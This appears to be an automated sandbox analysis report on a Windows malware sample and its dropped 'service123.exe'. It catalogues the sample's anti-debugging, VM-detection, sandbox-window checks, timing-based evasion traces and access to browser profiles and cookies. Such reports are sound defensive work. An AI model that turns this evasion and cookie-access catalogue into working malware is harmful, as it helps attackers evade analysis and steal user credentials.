Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74002FB second address: 7400348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1CE4D7C49Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F1CE4D7C49Dh 0x0000001c add al, FFFFFFA6h 0x0000001f jmp 00007F1CE4D7C4A1h 0x00000024 popfd 0x00000025 push ecx 0x00000026 pop ebx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400348 second address: 74003AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov esi, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1CE475F123h 0x00000014 or al, FFFFFF8Eh 0x00000017 jmp 00007F1CE475F129h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F1CE475F120h 0x00000023 and si, 3308h 0x00000028 jmp 00007F1CE475F11Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74003AA second address: 74003CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74003CD second address: 74003D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74001F8 second address: 740024D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE4D7C49Fh 0x00000009 sbb si, 7B7Eh 0x0000000e jmp 00007F1CE4D7C4A9h 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1CE4D7C4A9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400097 second address: 74000A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74000A6 second address: 74000AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74000AC second address: 74000B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74000B0 second address: 74000D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1CE4D7C4A5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74000D9 second address: 7400160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE475F127h 0x00000009 and esi, 5B6B907Eh 0x0000000f jmp 00007F1CE475F129h 0x00000014 popfd 0x00000015 mov ch, 72h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F1CE475F11Ah 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 push esi 0x00000023 pushfd 0x00000024 jmp 00007F1CE475F11Dh 0x00000029 jmp 00007F1CE475F11Bh 0x0000002e popfd 0x0000002f pop ecx 0x00000030 mov cl, dl 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F1CE475F127h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400160 second address: 7400187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop esi 0x0000000f mov si, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B027D second address: 73B0326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 pushfd 0x00000006 jmp 00007F1CE475F122h 0x0000000b jmp 00007F1CE475F125h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F1CE475F11Eh 0x0000001a push eax 0x0000001b pushad 0x0000001c mov al, bh 0x0000001e pushfd 0x0000001f jmp 00007F1CE475F11Ah 0x00000024 adc ecx, 4DAFF9B8h 0x0000002a jmp 00007F1CE475F11Bh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 mov ecx, 3BE33A0Bh 0x00000038 mov ecx, 20896BE7h 0x0000003d popad 0x0000003e mov ebp, esp 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F1CE475F128h 0x00000047 xor cx, 5348h 0x0000004c jmp 00007F1CE475F11Bh 0x00000051 popfd 0x00000052 mov eax, 5A454ABFh 0x00000057 popad 0x00000058 pop ebp 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B0326 second address: 73B032A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B032A second address: 73B0330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B0330 second address: 73B0349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C4A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B04D2 second address: 73B0503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE475F11Bh 0x00000009 or ecx, 4C1A195Eh 0x0000000f jmp 00007F1CE475F129h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B0503 second address: 73B0550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1CE4D7C4A9h 0x00000011 adc si, 4246h 0x00000016 jmp 00007F1CE4D7C4A1h 0x0000001b popfd 0x0000001c jmp 00007F1CE4D7C4A0h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B0066 second address: 73B009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F1CE475F122h 0x00000014 adc cx, 8E18h 0x00000019 jmp 00007F1CE475F11Bh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B010A second address: 73B0139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1CE4D7C4A6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov al, 60h 0x00000015 mov ah, bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B0139 second address: 73B014B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE475F11Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73B014B second address: 73B018E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1CE4D7C4A6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1CE4D7C4A7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0034 second address: 73D0059 instructions: 0x00000000 rdtsc 0x00000002 mov dl, ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F1CE475F120h 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 mov ax, dx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0059 second address: 73D005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D00D9 second address: 73D0135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 5674h 0x00000007 pushfd 0x00000008 jmp 00007F1CE475F11Dh 0x0000000d sub ch, 00000036h 0x00000010 jmp 00007F1CE475F121h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test eax, eax 0x0000001b jmp 00007F1CE475F11Eh 0x00000020 je 00007F1D50721A55h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1CE475F127h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0135 second address: 73D014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 747E7A2Ah 0x00000008 mov bx, 0EF6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov al, 01h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov ebx, ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D014E second address: 73D015E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE475F11Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D015E second address: 73D0184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE4D7C4A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0184 second address: 73D018A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410573 second address: 7410579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410579 second address: 741057F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 741057F second address: 74105E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F1CE4D7C49Ch 0x00000013 mov dx, ax 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007F1CE4D7C49Eh 0x0000001d jmp 00007F1CE4D7C4A5h 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1CE4D7C49Ch 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74105E3 second address: 741060D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 pushfd 0x00000006 jmp 00007F1CE475F11Ah 0x0000000b or cx, B1C8h 0x00000010 jmp 00007F1CE475F11Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 741060D second address: 7410614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410614 second address: 741063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE475F127h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E05FA second address: 73E0615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0615 second address: 73E0648 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1CE475F11Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0648 second address: 73E064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E064C second address: 73E0652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0652 second address: 73E0658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0658 second address: 73E065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430D83 second address: 7430D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430D89 second address: 7430DD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F123h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushad 0x00000011 mov dh, al 0x00000013 movsx edi, si 0x00000016 popad 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F1CE475F122h 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov dx, si 0x00000024 movzx eax, bx 0x00000027 popad 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430DD3 second address: 7430DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430DD7 second address: 7430DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: EC4E3A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: EC2382 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 108FD7D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1068E11 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 106F9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 10F2B9D instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1295 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1293 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1308 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1368 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1374 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 1882 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 8117 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7544 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7544 Thread sleep time: -74037s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516 Thread sleep count: 1295 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516 Thread sleep time: -2591295s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7528 Thread sleep count: 1293 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7528 Thread sleep time: -2587293s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7520 Thread sleep count: 1308 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7520 Thread sleep time: -2617308s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7524 Thread sleep count: 1368 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7524 Thread sleep time: -2737368s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536 Thread sleep count: 1374 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536 Thread sleep time: -2749374s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7120 Thread sleep count: 1882 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7120 Thread sleep time: -188200s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7120 Thread sleep count: 8117 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7120 Thread sleep time: -811700s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\ Jump to behavior
Source: Amcache.hve.13.dr Binary or memory string: VMware
Source: Amcache.hve.13.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.1885185059.00000000018CD000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081789420.00000206CBB08000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.13.dr Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.13.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00468230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_00468230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_0046116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 8_2_0046116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00461160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_00461160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_004611A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_004611A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_004613C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 8_2_004613C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1584D0 cpuid 8_2_6C1584D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
